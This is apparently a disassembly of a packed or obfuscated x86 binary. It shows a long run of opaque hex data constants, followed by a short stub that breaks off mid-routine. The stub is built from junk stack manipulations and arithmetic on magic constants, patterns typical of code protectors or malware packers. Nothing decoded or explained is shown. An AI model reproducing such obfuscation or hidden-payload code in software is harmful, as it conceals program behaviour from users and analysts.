		dd 42785118h, 0D396BB24h, 349EF2Bh, 0DB9EB4B6h,	0AA854556h
		dd 755E840Eh, 0A2899D4h, 6FC9E24Fh, 1ECC77D8h, 15BF65DCh
		dd 0BCFCEA5Dh, 32014B6h, 49E2B603h, 1AFC7EE4h, 4328589Fh
		dd 0A0E761B7h, 3CB603AAh, 0D0CCCE57h, 1F147401h, 0B25357F1h
		dd 631B603h, 726092h, 0BABB0000h, 8DE1CD30h, 0FA3E439Fh
		dd 95318C2Dh, 58AA3B73h, 0ACC22DAFh, 258AC361h,	739D1BF4h
		dd 93935BD8h, 2FAF58AAh, 0E3DFDB44h, 0A12DF01h,	40h, 428F9ADCh
		dd 0EA374BCFh, 5FA6654Eh, 5CAF57D7h, 65A743F8h,	0B5FFD77Ah
		dd 6CC46748h, 0C71C6E5Eh, 307D5682h, 0AA83CE6Fh, 88AA15B1h
		dd 3E953C5h, 27ED37C9h,	626593F5h, 40F9F12Dh, 5259DF52h
		dd 0AEEA1CBAh, 94AF57D6h, 0AAA7DBBh, 57C315B1h,	0C3D407ABh
		dd 280148EBh, 0E1205A80h, 0A3B60043h, 0B4DAC669h, 91F27763h
		dd 3871BEF7h, 2241E24Fh, 0D174DF6Bh, 0A1CF1B98h, 762367h
		dd 0E236E1B6h, 0CC511C3Dh, 34793053h, 1C81C86Bh, 0DC5BC4B1h
		dd 0D5779D59h, 0B60075D5h, 0BF1484AFh, 2A49AAF6h, 0CB6A3563h
		dd 75FD3D4Fh, 6CC7B600h, 0E98C3773h, 7D37FD41h,	44E97FD2h
		dd 928B9C01h, 1B374B9h,	23FA0CBAh, 0E1BCA8A1h, 0D2F9036h
		dd 6ACEDF44h, 0DD1C3FE0h, 971CF5B0h, 8FCA684Bh,	0AEE78122h
		dd 0C4E563B5h, 0ED34DF48h, 6159E309h, 4234DF49h, 0D4C56A23h
		dd 4FF3912h, 0B8F1949Bh, 0EBA2C162h, 0F4B1DD46h, 64FEDD6h
		dd 852E3192h, 0B776151Ch, 9822D891h, 34DF49A0h,	4AD0C962h
		dd 9E034AE9h, 0E604BF1Dh, 875E75A4h, 0C6E44F3Bh, 0DA7EBFDDh
		dd 2475BA93h, 86A50EF4h, 64A62647h, 3B875E24h, 635C351Eh
		dd 88C5653Eh, 0A8CB3452h, 0A36BBCE1h, 3B875E67h, 9893135Dh
		dd 0B24423C3h, 1EC5FD9h, 1B410B94h, 87A8A9E1h, 78B09B3Bh
		dd 49DD94B7h, 0ADDF05A3h, 3B87A96Dh, 0D6D2FC57h, 0CD3B87A8h
		dd 6EBFE4A1h, 0BA65B39Ch, 0CC4DD29Bh, 9537D368h, 422FAF1Eh
		dd 11FF4BE4h, 93AAE3C7h, 49EF1B50h, 0A10E47E6h,	2FD25D59h
		dd 61C2A952h, 0DBF3B5Ah, 522FD20Dh, 47635CF7h, 0D1ABEF19h
		dd 0BE99522Fh, 0E06A907Ah, 0F6A813AAh, 8C1385EEh, 0DF05A1E8h
		dd 0F01A5FF4h, 522EFDB8h, 9477A18Ah, 0FA276A0Bh, 6104EF37h
		dd 8A2B8028h, 12A8E183h, 5A3B93B1h, 344C1837h, 93DA7AEBh
		dd 8EA30CBAh, 4EF866CBh, 522FB94Ah, 0F2261F38h,	0A7E29011h
		dd 81229B7Ah, 1793DA7Ah, 5CC188ACh, 24C279DBh, 0D7D39FE2h
		dd 352B6558h, 61A82545h, 0ED15E37h, 0AB0FCA5h, 0D78BB8F0h
		dd 29A18A58h, 5593CFE3h, 0EBB4E47Ch, 0BCDA0049h, 0D7710E0Ah
		dd 7496F458h, 58D77134h, 0DB4C250Eh, 7BACF1B8h,	49EC573Dh
		dd 6302A300h, 3456FC2Ah, 58D770F4h, 503365CEh, 0B4BB64D1h
		dd 0EA42D891h, 0BBA04CFEh, 1C19h, 5DFF2200h, 0AE0E8F14h
		dd 684BF115h, 0D82E8AC7h, 0B5FFF661h, 31B20823h, 47h, 3C30BA14h
		dd 0B4F41615h, 8EAF57D7h, 3452DA5h, 0B9DB44D4h,	49E9CAF0h
		dd 7EA3E68Ch, 0B2D3342Dh, 3F79B2FFh, 0D269CB4Ch, 0EA7BA234h
		dd 6766D8FBh, 0FA912B31h, 0ECB600B2h, 0D1296003h, 6318705Ah
		dd 98A6F24Eh, 14C6BBFh,	0E65DFF20h, 0ED5386C0h,	8E31B5FFh
		dd 2F78A5E0h, 0F434D236h, 0B7AAB303h, 0A708BE05h, 8369CF8Ah
		dd 5B363679h, 0CAE28B1h, 0DBFC4AFCh, 0D39E439Bh, 0E9814ADCh
		dd 996814Fh, 73972C80h,	6C77B3D5h, 0E24DB15Bh, 0BADE081h
		dd 0BE31BBE1h, 0A927BCE2h, 63E462B6h, 21B8037Fh, 4CEFD0F6h
		dd 7F1E8105h, 5E549236h, 6744F124h, 13139Eh, 29600700h
		dd 581D329Dh, 8EC761C2h, 0BEFB9738h, 0EBA6C768h, 71A1D05Fh
		dd 0A6099DD0h, 0D27DC984h, 4AFFBB2h, 0A922861h,	2672B6D0h
		dd 0A50B603h, 3559BA2Dh, 0BEFA3370h, 57D870A8h,	32892BAFh
		dd 0F4677294h, 135DB5FFh, 41F11081h, 6706D0ABh,	0BE1B1783h
		dd 0BA25C1BAh, 0EC57D39Ah, 469C0148h, 42C91434h, 4CEC8B4Dh
		dd 0DF0940E3h, 0F3277C01h, 9D532C8Fh, 91000012h, 0C86BBFF6h
		dd 0F758EEABh, 21821851h, 51F2480Dh, 0A2297D30h, 2F62030Fh
		dd 5B16389Bh, 89C064CFh, 0BAF3923Dh, 0D862F86Ch, 0B60326E0h
		dd 0E7BF64A2h, 0AED80EB5h, 0B5FFF39Bh, 0B718CE69h, 0E84BDF9Ah
		dd 0A10E4Bh, 488F145Dh,	96BBC263h, 46A957D3h, 9CCD6B22h
		dd 6DD447D2h, 0BAFF94FBh, 0F2B2F575h, 4278B5FFh, 278CC161h
		dd 68C9A2F6h, 3D89CC61h, 2B8FD92h, 6ACE87A1h, 0AF9C30F9h
		dd 3DE9C28Fh, 0AB36808Bh, 3DE942BCh, 0ACFAB3D2h, 84296003h
		dd 99D4755Eh, 12950314h, 5BED19A2h, 0C35678CDh,	0EC6E9CB7h
		dd 6A9D37DDh, 45AF0904h, 0DBF3B5Ah, 0C355E90Dh,	27635CF7h
		dd 7018D97Ch, 0CAA3F439h, 0CB70A465h, 2DEED1Fh,	8BA4C9FEh
		dd 29DA7D5Dh, 0DBA407DFh, 11C4h, 42D891B8h, 0BD094CE1h
		dd 0EB3F7612h, 0DB6F2A48h, 0C9AD778h, 7F20F287h, 2B4BF432h
		dd 0DD7F2066h, 8EAD1694h, 1DB43C7h, 327C3C7h, 0DC7B81B6h
		dd 57D76BA6h, 85D77DAFh, 0A51D9E5Dh, 8E8A34E1h,	74AF580Ch
		dd 0B2D25DDBh, 1B41AFFBh, 580BA9E1h, 0D0DBFAFh,	0F7AF580Ch
		dd 29A18A5Ch, 50574427h, 0FE49EF00h, 87C1E55Eh,	0B6032FF9h
		dd 59BA60CBh, 1451FE3Fh, 0F4C0EF3Bh, 135FCA18h,	180FFh
		dd 1CBA4000h, 57D6AEEAh, 7DBB94AFh, 0CABF08AAh,	0D70500BAh
		dd 73DCAF57h, 0CBDDBA96h, 1CBAEC6Fh, 57D6AEEAh,	1855F5AFh
		dd 0D740829Bh, 0D748C641h, 3F59BAF2h, 3C791576h, 0E7C8B5FCh
		dd 0F8180DB4h, 0CAE8F413h, 35EF15DFh, 30000000h, 0D208ABE7h
		dd 9B185DF1h, 4D002182h, 3A61B7E0h, 0D70500BAh,	54FFAF57h
		dd 612C4DB6h, 87115800h, 0BADDBA9Ch, 24743959h,	0B794DD7Bh
		dd 2FDFE0C5h, 0FA000000h, 83C5ABE7h, 0AF57D787h, 0CF9D27Dh
		dd 0D70500BAh, 73DCAF57h, 3559BA96h, 0BEFA3370h, 1CBACFB4h
		dd 57D6AEEAh, 7DBB94AFh, 0EADF96B2h, 0E8F4E0C5h, 0EF15DFCAh
		dd 4Eh,	0DB4E730h, 0EABB9FD9h, 3357597h, 240FAF58h, 982CF9AAh
		dd 0E04D0427h, 0BA3A61B7h, 57D70500h, 0B654FFAFh, 3D622B4Dh
		dd 0BA674CECh, 0D9E19930h, 55F317DCh, 0AD86971Ch, 0FF7AE10Bh
		dd 0C5321752h, 7DDFE0h,	0D83B0000h, 79B2FFBAh, 59BAF43Fh
		dd 0FE2F7439h, 124EEDBAh, 0FE8216D4h, 0AF459DEBh, 6E83AF2Eh
		dd 228D3912h, 0ECA9C500h, 3B7DAEF3h, 500BAF0h, 0DCAF57D7h
		dd 8E1356FBh, 0BAC7A49Dh, 0D6AEEA1Ch, 0BB94AF57h, 0FF88F77Dh
		dd 0A290DA52h, 8E14D046h, 5F1F1BA3h, 4AE5AF58h,	0E10FB551h
		dd 585F63A7h, 0CCF621AFh, 0AF585ECCh, 101B9DB6h, 723B59BAh
		dd 9ED3742Dh, 549673A5h, 1C81C86Bh, 0DF86AD0Bh,	0FFFFFE77h
		dd 86B5E7FAh, 17B3ACE9h, 0AA9AACC5h, 0AAEA40Fh,	8C73A6E0h
		dd 0E651B603h, 0F5BCDFC0h, 0C840EED1h, 38C7ABEh, 0F6EF48B6h
		dd 0CE6FD8A2h, 0F5355773h, 0CFB6038Bh, 0EE184664h, 0B6038BAAh
		dd 8C0E0ABCh, 5BF4B603h, 9B08A08Bh, 38C5953h, 65284AB6h
		dd 88C16738h, 951E952Bh, 70319A06h, 74677662h, 0E913B914h
		dd 0B60393B1h, 0D7D37593h, 0ADB60393h, 0CD0FA982h, 21h
		dd 0D75EA656h, 2645AF57h, 0E621DB6Fh, 0A5AF57D6h
		dd 0EC1ECC77h, 0B5FFDFF9h, 59DA60CBh, 9Dh, 3859BA7Ch, 30642375h
		dd 7E2D5F8Bh, 44B5FFE6h, 0B0D43FEBh, 2B692B18h,	8C654BD6h
		dd 49EFD03Eh, 6507A800h, 7715FE2Ch, 8009FA3Eh, 0C973972Ch
		dd 0BCABE4CAh, 886B9FB8h, 0B619ADE4h, 0C952DF96h, 8C2AD06Bh
		dd 0E14E0323h, 59E660C8h, 2BC35727h, 5AF9DA00h,	0C7B0F99Bh
		dd 1A3AA543h, 3B5AC553h, 0B66E5672h, 4162E5D0h,	0EBFC0h
		dd 0DD94B300h, 0C49E649h, 3A7315BEh, 6A2F43ECh,	9FD273DCh
		dd 25ED8C0Bh, 52FD4904h, 86297D30h, 0B81BAFE6h,	0DE4EDC95h
		dd 2ABEFA0Ch, 4684B603h, 155CFFD9h, 0D86567F1h,	0D9983A15h
		dd 1033EC5Fh, 8955D459h, 0EA656C4Fh, 0EF49D7AAh, 97E1AB74h
		dd 5B1A145Ch, 0F1BEFA34h, 2F8F1B52h, 12DF3033h,	3ADAh
		dd 0B5E76D00h, 0CCFE8EEFh, 2A032374h, 0FC434AFCh, 1601B600h
		dd 3C751889h, 6F2645EEh, 793058BBh, 0D6B5E334h,	0AE5CE755h
		dd 0A90BAD1Ch, 6EBC97BCh, 0E8205A80h, 0DABCA90Bh, 0FFFC2771h
		dd 0B3FE9F52h, 0C6443D6Eh, 5048F218h, 32AF57D7h, 5F5BED19h
		dd 25AF57D7h, 6C01AE0Ah, 4D428429h, 56AF57D7h, 902B7F36h
		dd 0D963873Ch, 0B6031964h, 0B0F5997Ah, 50FE3A73h, 0B8E0C3E7h
		dd 0F48EB5F1h, 135FCA18h, 10CFFh, 0B7E74000h, 0E193CAEDh
		dd 74A50A43h, 0CF32B87Ah, 61BAE7A2h, 0BAAA9F88h, 57D70500h
		dd 9673DCAFh, 6FCBDDBAh, 0DE36AB2Dh, 0F18D6224h, 0ABE77CA7h
		dd 9C791308h, 180DB4E7h, 57F1D2F8h, 0F4919A1Eh,	15DFCAE8h
		dd 0F2B7DCC7h, 4894A6h,	0E7AF0000h, 77D380ABh, 0EDCBEA8Bh
		dd 0E938CC2h, 0C1BAF395h, 2AA7E325h, 0B29DAF58h, 1CBAECD9h
		dd 55DA9FB3h, 1312D444h, 0D5AF57D7h, 260B3883h,	307819D9h
		dd 0BA40250Eh, 0DF92B31Ch, 59FF5259h, 0E0C52B10h, 29DFh
		dd 0ABE7FA00h, 0BA1308h, 0AF57D705h, 0BA9673DCh, 1059FFDDh
		dd 0FE3A4CEAh, 0C4AF57D6h, 0BAE6CD6Bh, 9EF0E030h, 8B2D7E8Eh
		dd 0E8F40D1Eh, 0EF15DFCAh, 21h,	0DB4E730h, 500BA18h, 0FFAF57D7h
		dd 0DDBA7754h, 321752FFh, 713459BAh, 0DF594227h, 1Fh, 0DB4E7FAh
		dd 296E9FD9h, 0F72468ECh, 0BA7AA1h, 0AF57D705h,	0BA9673DCh
		dd 1752FFDDh, 0DFE0C532h, 0FFFFFEEBh, 0DA1CBAFAh, 0E5A772B7h
		dd 4E4A742Ch, 34AF58C1h, 74B9F093h, 59EE4A23h, 609A40FBh
		dd 0B6040439h, 5CFA200Bh, 0E7AECD36h, 615961BAh, 42B60404h
		dd 0B19A6C21h, 31672250h, 86CF6Eh, 7FAB1687h, 403CDCDh
		dd 179CB7B6h, 403D5D7h,	991AF1B6h, 73FFAD99h, 244814h
		dd 0A6D30000h, 0AF57D75Eh, 3C99F600h, 81AF1D9h,	8A302960h
		dd 58D23870h, 0F7210AAFh, 0FE4C0528h, 0CF75h, 0B5E75000h
		dd 51B2D80Eh, 60ED9B33h, 0A351146Dh, 51986ECAh,	33B600AAh
		dd 6301E218h, 12A82A2h,	60017111h, 217AA790h, 61B0F1A9h
		dd 0CCA50D16h, 76B7D57Eh, 7109DD8h, 3F65812Eh, 0FFE08D8Dh
		dd 5CDC77B5h, 34D269CBh, 0E226608Eh, 0A0B5FFDFh, 0E0272177h
		dd 86BCAB22h, 0DC069E74h, 61B75828h, 6D5674DFh,	9F0086CFh
		dd 0AE6FB4FDh, 0F711B50Eh, 0C356D66Ah, 0E8CBFF58h, 0EBF50D44h
		dd 0D0056B2Dh, 0B0DE0494h, 1CB8F00Ah, 0A18AC356h, 0CC85A877h
		dd 0FFB6D57Eh, 0D1C0E5C9h, 7BC4E7E5h, 0BB0h, 7ECC85A4h
		dd 0A9FDB8D5h, 9F2B6206h, 0CF5B1E34h, 388EC364h, 7314FEB3h
		dd 2747E83Eh, 0D173DC6Ah, 82A10298h, 7DEF7FCBh,	32DCFCBh
		dd 0C877B5B6h, 0F09D5CFFh, 7B54113Dh, 0D6FD3D4Fh, 6CC7AF57h
		dd 0D6752E73h, 90B27717h, 6E4750DDh, 0B2FFE8C1h, 0D6DD46EFh
		dd 0CA8FEB7h, 12DFD210h, 27F7h,	0B5E74800h, 93AED80Eh
		dd 71B5FFE4h, 99BF20C6h, 3AEB58D0h, 6BD4521Bh, 9B1C81C8h
		dd 22648239h, 0BCA7F197h, 5F44C26Dh, 723B59BAh,	0F3BCFC2Dh
		dd 41EF1B5Eh, 57D70307h, 0B056C1AFh, 57D71216h,	0D147F0AFh
		dd 0D7A2916Bh, 6301AF57h, 892B9C2Ah, 0EC6E9432h, 0C449A609h
		dd 3C55317h, 0B6041895h, 0BD26C46Fh, 0AE54D29Bh, 1C8F2745h
		dd 76335A0Eh, 0DB44E9C2h, 9D1BF4BDh, 0CA18F496h, 59FF135Fh
		dd 40000001h, 87C1B7E7h, 0AF57D783h, 8FDD641h, 0DA1CBAh
		dd 6B587E43h, 70B7B1E7h, 71AF5882h, 0DDBA2318h,	0E7EC6FCBh
		dd 791308ABh, 85B4E79Ch, 0E32761E9h, 0A1AF57D6h, 50459D76h
		dd 24240E11h, 0F8EDDAB3h, 1430BA13h, 0F30C42ADh, 33E753ABh
		dd 0F0CA6197h, 86F0FCB8h, 471715DFh, 28000000h,	743959BAh
		dd 742F6324h, 0A7C72856h, 0D6E820EAh, 56D2AF57h, 0F8380485h
		dd 8C2C07C7h, 500BAA7h,	0FFAF57D7h, 0DDBA7754h,	0AEEA1CBAh
		dd 94AF57D6h, 64294ABBh, 84CD6B34h, 0BE21C5A7h,	5E45D39Ah
		dd 2FDFh, 1CBAFA00h, 57D6AEEAh,	153394AFh, 7235635Ch, 0BA8663DCh
		dd 57D70500h, 9673DCAFh, 59FFDDBAh, 6F09EA10h, 8A0F926h
		dd 0BE21C523h, 5358D09Dh, 0DFCAE8F4h, 3AEF15h, 0E7300000h
		dd 0BA180DB4h, 9D91DD30h, 0B5E3D854h, 151A1DAFh, 4FE8AF58h
		dd 5F1A389Bh, 0DDBAD2D9h, 321752FFh, 4FDFE0C5h,	3B000000h
		dd 0B7BCC7B1h, 0A02D4E2Dh, 25A73FBCh, 3F64B4FEh, 180DB4E7h
		dd 0D70500BAh, 73DCAF57h, 0DA1CBA96h, 31929EE4h, 206C0AFh
		dd 0C8AF583Eh, 8FD0D4A2h, 73DC2E03h, 0BA503F25h, 33703559h
		dd 5CF1BEFAh, 547ED19h,	0AF57D705h, 0DFC454FFh,	9EDFE0C5h
		dd 0FAFFFFFEh, 0D80EB5E7h, 31A7BAEh, 38EE49B6h,	591C3192h
		dd 642D50DFh, 723B5D46h, 4AEB5C26h, 79B1CBFFh, 4BB6031Ah
		dd 0E9B03AE0h, 4850695Eh, 10DA49EFh, 0B603A51Ah, 7FA4E989h
		dd 6BC885A6h, 2AD598BAh, 0F912081h, 0B2DAFD5h, 0B2D74B6Fh
		dd 3B5C5C66h, 0F802B603h, 0B6033AC0h, 0FE59A982h, 5260C1BAh
		dd 1474B666h, 3E81h, 36115B00h,	0BF3424C8h, 0A9760A22h
		dd 0E7F05851h, 5EA66AB1h, 45AF57D7h, 0CEE48E26h, 0DA145DFBh
		dd 1BF49565h, 0D07E618Fh, 0EBBC0395h, 5E000000h, 58929630h
		dd 7311AF58h, 22A4F53Ah, 0E784AF09h, 0ADE886B5h, 94B61700h
		dd 803AE0D9h, 0B5FFD99Dh, 6D244467h, 0E4045674h, 0D9A592BAh
		dd 957EE434h, 0C768BEF7h, 0C647ECA5h, 9339ED56h, 0D2460330h
		dd 0AB571514h, 0A644EFBCh, 0B0561F3Dh, 34642D4Fh, 1E3FA04Eh
		dd 0ADF2B7DBh, 8A15837Ch, 0BD7EA3EAh, 0D806A41Fh, 0AB576AAEh
		dd 0CECA7CBCh, 0B4BCAB56h, 48E04B9Bh, 98D718A2h, 0AADC356h
		dd 24FD226Bh, 0C8E14E03h, 99912BDFh, 6BC35699h,	0D033D7C0h
		dd 0E486E7A2h, 0FAE50FA9h, 2B94125Bh, 24668C08h, 0C35698E4h
		dd 4D4D75DEh, 37C35699h, 385231Ch, 0DE5D144h, 822D5AEh
		dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh,	0B5D679CDh
		dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh,	0E1256C0Fh
		dd 65A5E705h, 5FB60331h, 5CFF3219h, 74178815h, 626893Dh
		dd 0F1BCDE4Fh, 0E845C4A7h, 541D4047h, 0D68A66D6h, 2A6D12DFh
		dd 0B6000000h, 0D80EB5E7h, 0D71008B2h, 59F2AF57h, 4CF315DFh
		dd 36B5FFE1h, 4E56901Dh, 6AB5FFE1h, 26122081h, 0C11477DCh
		dd 50h,	0EB5E75Ah, 3751B2D8h, 87F8317Eh, 1700ADE4h, 0DDDC4781h
		dd 8DA6B5FFh, 58DC7F20h, 0FFDDEA2Eh, 0D499B9B5h, 9A403912h
		dd 9F54DF50h, 6CCCF62Dh, 571E3DE6h, 68D341CAh, 783D51B2h
		dd 0AD902A30h, 97BCA7F9h, 12CC0EBCh, 955940F4h,	0EDCAB0F8h
		dd 0FFFB30BAh, 0D8A0397Bh, 0AB4C3150h, 0EE14B209h, 1AB65C6Ch
		dd 9D0E136Fh, 0E563B5F0h
		dd 0B5FFF076h, 548B024Ch, 0AC2F0DCBh, 44C517B3h, 2B4232A7h
		dd 35DF47D1h, 0C23D7D8Fh, 2C07B600h, 0CE17A8Ch,	7ADA7677h
		dd 9CE325C1h, 667D1F3Fh, 75A760CDh, 69EE18CEh, 5B83C779h
		dd 43ACCAF0h, 0D4C56A2Fh, 79949436h, 0C56E83C7h, 0E0A9CC53h
		dd 633ABC5Ah, 93DA7A24h, 5DD7BE5Bh, 783154DBh, 60C74240h
		dd 0D0B17225h, 6D0h, 5EECA5C4h,	891D58F5h, 0FF4B0226h
		dd 2F7B3E54h, 18AEE384h, 1334DE93h, 0C767C85Eh,	0F1933C8Ah
		dd 0A2C162B8h, 1DCF5FEBh, 332AFEBh, 0E85795B6h,	0F09D5CFFh
		dd 463F68B5h, 692048D9h, 486C3BBDh, 0F26584EAh,	38B2DF23h
		dd 38701BE1h, 2D4BB452h, 0C1733464h, 0D0A4C7Ah,	9E564D6Dh
		dd 0AAEF84E5h, 55BEE40Eh, 1A53F134h, 0DAB8495h,	391C0FBh
		dd 4A982B6h, 14B4FD9Bh,	0F3244B88h, 4D5A2B88h, 41000006h
		dd 78DB6F26h, 0A7089EDBh, 0D172C881h, 1A2F8BDh,	12992D60h
		dd 0DF92B35Fh, 0B46E84Bh, 397014BFh, 6A2342EDh,	689248DCh
		dd 0B6033330h, 0E76FD412h, 0AED80EB5h, 0B6031A67h, 3DB0FF79h
		dd 76DCE7AEh, 97331C22h, 718B0B2Ch, 0B6031139h,	0E137200Bh
		dd 0CE87A102h, 24CC8C1Ah, 562F8CF3h, 5ECh, 0AAF0B9E0h
		dd 0E5216409h, 0D3571E3Ah, 387C270h, 74B2FFA0h,	2748CAEFh
		dd 0D373DC6Ah, 85A7089Eh, 0B6D57ECCh, 2933ABFFh, 3349B9Fh
		dd 42369B6h, 0D80EB5E7h, 31A63AEh, 0A9F621B6h, 0EF1950F8h
		dd 0F324C3C1h, 0A113ECCFh, 95000005h, 0C46FBBF2h, 0F35CEAAFh
		dd 258E1C55h, 55FE4C09h, 0A62D7934h, 135EFF13h,	470A2C97h
		dd 753C60C3h, 0A6EF8E31h, 24668460h, 0B60333E4h, 0FFB398DEh
		dd 1788155Ch, 2FF03D74h, 47D8450Ch, 0E8C16E2Bh,	1B98D177h
		dd 0D77DBDCFh, 0EC47AF57h, 0C453DC49h, 343BE451h, 24C25811h
		dd 44D49DBBh, 0ACF1B8DBh, 57D76BAAh, 5B1638AFh,	64214DD6h
		dd 0A199233Fh, 63AF57D7h, 4CD542C8h, 0D6C2C600h, 9780AF57h
		dd 0CE57C4BEh, 890CA4C7h, 0D6DCC9C1h, 9B04827Bh, 561F39F8h
		dd 171216B0h, 47F0AF58h, 3D60C16Eh, 9883DA95h, 29020673h
		dd 318A2A9Dh, 0EF846F95h, 841405AAh, 61B42h, 0E14EE9B6h
		dd 6DADDF05h, 57B60006h, 6AAABCFCh, 6B60006h, 57B804ADh
		dd 783C7C35h, 1477FD8Ch, 3C6Bh,	0B5E7BC00h, 8B2D80Eh, 0AF57D710h
		dd 40E859F2h, 345AF09h,	0B60004ECh, 36307DD6h, 0B60004EEh
		dd 3C80218Ah, 0B7FCB5D3h, 2064066h, 0C0B60005h,	7955C157h
		dd 9C1477F8h, 0F9h, 155CFFA7h, 3B761788h, 98EE68F6h, 0C089AFABh
		dd 0D76E7B36h, 587F75B5h, 0BE44FAFh, 7F6DADDFh,	0FC57AF58h
		dd 1950F3BCh, 0C0680B94h, 98F97A79h, 2FAF279Eh,	73B52F63h
		dd 2DDF6B44h, 0AF587E2Ch, 0DD7CD477h, 45DB9DFAh, 9A05817Ah
		dd 54193AFBh, 0A81414B6h, 45EEAF58h, 0D646C76Ch, 0A50A43E5h
		dd 7FFE7A74h, 0F5BE667Ch, 2D5CEE1Ch, 17B6003Fh,	0E1DA9FB4h
		dd 9B2E2A5h, 0E17EABDDh, 3A60BCAAh, 0AAE18880h,	0EC2C5EBCh
		dd 0D6BCAAE0h, 56C26D7Dh, 3D5B8FA8h, 0AAE18F8Bh, 5EDA75BCh
		dd 470A2B94h, 535329A3h, 0AE730F03h, 89C4A54h, 0D741BDB2h
		dd 0ECA1C26Dh, 7CAE8E3Ch, 2C9516ECh, 3C8h, 56D49DBCh, 810540EDh
		dd 0F7337A1Eh, 2763264Ch, 1096DB7Ch, 0B2CE68Bh,	3F5FC046h
		dd 0E98B3472h, 9AB91AA0h, 15D757D3h, 335B7F3h, 0E04F8DB6h
		dd 97135EFFh, 0FA40092Ch, 0C3B5E7DDh, 57D781B9h, 0FFE843AFh
		dd 0BBFA81CBh, 21DC9278h, 0C4DB6DF7h, 0BEB6003Eh, 98D20895h
		dd 0A4B931B9h, 63E5334Bh, 0B600A223h, 4F4BD4BFh, 14771D53h
		dd 0DFBAh, 5CFF8D00h, 83FCAFF4h, 57F14179h, 0DE2803AFh
		dd 0A145C2B6h, 582B2367h, 5D36E1AFh, 5AEC0AD0h,	0AF582B5Eh
		dd 0F99A0B24h, 9ABB64B4h, 0C7804AD7h, 0DCAF582Fh, 9AAF0B9h
		dd 3DFE236Ah, 5886249Fh, 119EDB77h, 23569018h, 0E1B60040h
		dd 0E557F036h, 2547A85Eh, 1356FB6Ch, 0D11B9D8Eh, 6D2448ABh
		dd 0DEAD3DCBh, 7197BCAAh, 0DF79B1CBh, 0E04BBCAAh, 0AADEE226h
		dd 9E77A0BCh, 0ADE48768h, 5DFEE10Bh, 8298A10h, 0FEF1A345h
		dd 0C4E7EC7Ch, 2C77Bh, 0D59CBB00h, 441EE51h, 327B1D86h
		dd 62274BF4h, 97DA7B24h, 2DE59413h, 5AC5410Ch, 8E317538h
		dd 0C063A7EEh, 0D656D49Dh, 36B6F214h, 4E8CB603h, 135EFFE1h
		dd 7FEF6997h, 3B1BFF37h, 92B17EBAh, 47812FDBh, 0AF58B243h
		dd 94B51601h, 0CEF55FD9h, 0F1155CFFh, 0C3769367h, 76D7F648h
		dd 0B31098D5h, 0F09253F2h, 9846C4BDh, 0DE5A1737h, 0AA50EB49h
		dd 64A4E60Ch, 5EAF57F7h, 0FAA5A3F5h, 0C8B60001h, 0FE24C26Fh
		dd 24C4Ch, 0C51D36B6h, 7B9C3CDEh, 489E1A0Ah, 0B5FFE34Ch
		dd 10228368h, 1477DE24h, 3BC3h,	0B5E76400h, 5BF7D80Eh
		dd 0D73BA7FFh, 0A982E7F3h, 5F851304h, 0E3A2Dh, 0FB2F08B6h
		dd 0DEF2B5Dh, 0F2D5B600h, 892F185Dh, 0DD4D01Ah,	1BF0B600h
		dd 0E1AC989Ah, 374B1477h, 0DC000000h, 0AEEA1CBAh, 94AF57D6h
		dd 0ACEB7DBBh, 0EFAF57D6h, 86D0F64Dh, 2D728B04h, 866CCC14h
		dd 0FFE68944h, 36587BB5h, 0CE5367Bh, 0CC6F50BEh, 0FD226B0Dh
		dd 3D6EB3ACh, 0B5E7B0FBh, 2B6B2BEFh, 6D465FB7h,	0C1A40FB9h
		dd 0B59EB600h, 0C68FAE11h, 7BE84059h, 0C1B3F3h,	0BB64CFB6h
		dd 7739C3BFh, 322A14h, 963C0000h, 0CA3474h, 0F3250EB6h
		dd 0D75EA6A8h, 0FF5DAF57h, 6964A644h, 5BB5FFE4h, 264CAAF0h
		dd 0FFE4A4E4h, 0CE789EB5h, 0B5FFE4CAh, 45A69FB8h, 0DBC06825h
		dd 5EBA30BAh, 90FF01B8h, 962D8F18h, 30C3D670h, 9681B603h
		dd 0A5EC8F70h, 5E9FBE61h, 1257FB3Ah, 0CAA3F439h, 2953F965h
		dd 0B60330F1h, 742F0D3h, 9F3D8A2Eh, 0EEC78AACh,	25D5BE38h
		dd 58621A85h, 0C802EF73h, 50D8F539h, 0EF836C8Ah, 0B31405AAh
		dd 5851DE93h, 3A8016D0h, 0E942BCAEh, 82C973Dh, 3A81B941h
		dd 0E843BCAEh, 1A399A40h, 274CB753h, 4CEC3D62h,	773E5DC6h
		dd 8833612Ah, 54212852h, 0DCC7C356h, 96B8F0B9h,	8A530BBDh
		dd 0B675E5D1h, 0BFCDh, 0DD94B300h, 0C49E649h, 3A7315BEh
		dd 6A2F43ECh, 9FD273DCh, 25ED8C0Bh, 52FD4904h, 86297D30h
		dd 0B81BAFE6h, 0DE4EDC95h, 38BEFA0Ch, 4684B603h, 0EFB5E7D9h
		dd 0CCBF7ABFh, 54FA6B10h, 0A29B8C11h, 1F30C204h, 3912B603h
		dd 0DFC06EF4h, 71AAF7B2h, 31F5149h, 901833B6h, 80AD6C0Fh
		dd 564F58C5h, 85CC6FD0h, 62A4C218h, 0B6031F26h,	4C4CFE1Ch
		dd 36B6031Fh, 72F4241Dh, 2C9E21ADh, 82CE57C4h, 0E54A0321h
		dd 0F30D8355h, 7F68DCC9h, 9ED77639h, 61E58768h,	9E10E327h
		dd 9D76A12Ch, 6F0EB11Bh, 826DF926h, 1506ABE2h, 33761C83h
		dd 0E1426BEEh, 0B4F2BBDAh, 0FC21680Bh, 303h, 0CBB02600h
		dd 8C1158FFh, 0F4397013h, 0E340092Bh, 0C06D2042h, 2E733E5Fh
		dd 1499D475h, 7DA2E78Bh, 60CD84A4h, 4AD792BFh
		db 0FAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 0F261E89h
		and	edx, 705F0D27h
		sub	edx, 3C7E5CCFh
		or	edx, 20D365E4h
		shl	edx, 1
		and	edx, 11B91251h
		sub	edx, 0FAFDCD98h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	6D4Bh
		mov	[esp], eax
		sub	dword ptr [esp], 60B5474Bh
		pop	dword ptr [ebp+8]
